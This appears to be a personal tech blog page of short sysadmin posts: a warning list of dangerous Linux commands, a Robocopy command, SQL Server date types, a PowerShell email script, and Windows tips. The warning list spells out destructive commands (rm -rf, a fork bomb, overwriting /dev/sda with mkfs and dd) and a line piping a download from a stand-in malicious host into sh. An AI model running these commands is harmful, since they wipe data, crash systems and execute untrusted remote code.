Dangerous Linux Commands

Of course, You will never accidentally run these commands, right?

  • rm -rf
    This command will force the deletion of directories and files.
  • :(){:|:&};:
    I haven’t tried this, but I’ve read it causes a ‘bomb’.. forking until the system crashes.
  • mkfs.ext3 /dev/sda
    This will format the drive.
  • command> /dev/sda
    This writes raw data to the drive, resulting in a total loss of data.
  • dd if=/dev/random of=/dev/sda
    This will write random data to the drive.
  • wget http://maliciouswebsite.com -O- | sh
    This will download any script and execute it.

RoboCopy – Exclude existing files.cmd

robocopy.exe c:\Sourcepath c:\Destpath /E /XC /XN /XO

:: /E makes Robocopy recursively copy subdirectories, including empty ones.
:: /XC excludes existing files with the same timestamp, but different file sizes. Robocopy normally overwrites those.
:: /XN excludes existing files newer than the copy in the source directory. Robocopy normally overwrites those.
:: /XO excludes existing files older than the copy in the source directory. Robocopy normally overwrites those.
:: With the Changed, Older, and Newer classes excluded, Robocopy will exclude files existing in the destination directory.


SQL Server: Date and Time Data Types (Size and Ranges)


Thank you for this reference, whomever made this chart!

Tip: DateTime2(3) has the same number of digits as DateTime but uses 7 bytes of storage instead of 8 bytes (SQLHINTS- DateTime Vs DateTime2).

How to Send an Email from PowerShell

via How to Send Email From the Command Line in Windows (Without Extra Software)

Thanks! Handy little script!

$EmailFrom = "yourgmailadress@gmail.com"
$EmailTo = "destination@somedomain.com"
$Subject = "The subject of your email"
$Body = "What do you want your email to say"
$SMTPServer = "smtp.gmail.com"
$SMTPClient = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
$SMTPClient.EnableSsl = $true
$SMTPClient.Credentials = New-Object System.Net.NetworkCredential("user", "password");
$SMTPClient.Send($EmailFrom, $EmailTo, $Subject, $Body)

Windows Emoji Entry not working?

Make sure “ctfmon.exe” in the C:\Windows\System32 folder is running.

Also, as far as I know, the Windows task “MsCtfMonitor” is responsible for making sure ctfmon is running. You can check if that task is running at startup by using the “AutoRuns” Sysinternals program from Microsoft.

Also, in case you didn’t know: Press the Windows key + dot to bring up the emoji list.

Windows 10 Gets a Cloud Reset Feature, Here’s How it Works

via Windows 10 Gets a Cloud Reset Feature, Here’s How it Works

Um.. no. That’s too much control out of the user’s hands.

“With Cloud Recovery, Microsoft wants to make the process of recovering a corrupted installation of Windows 10 much easier by downloading a fresh copy of Windows files directly from Microsoft, without the need of Windows media.”

It would be a nice OPTIONAL feature to refresh your computer via streaming download, but it should be only the system files, and no personal files.. such as the Documents folder.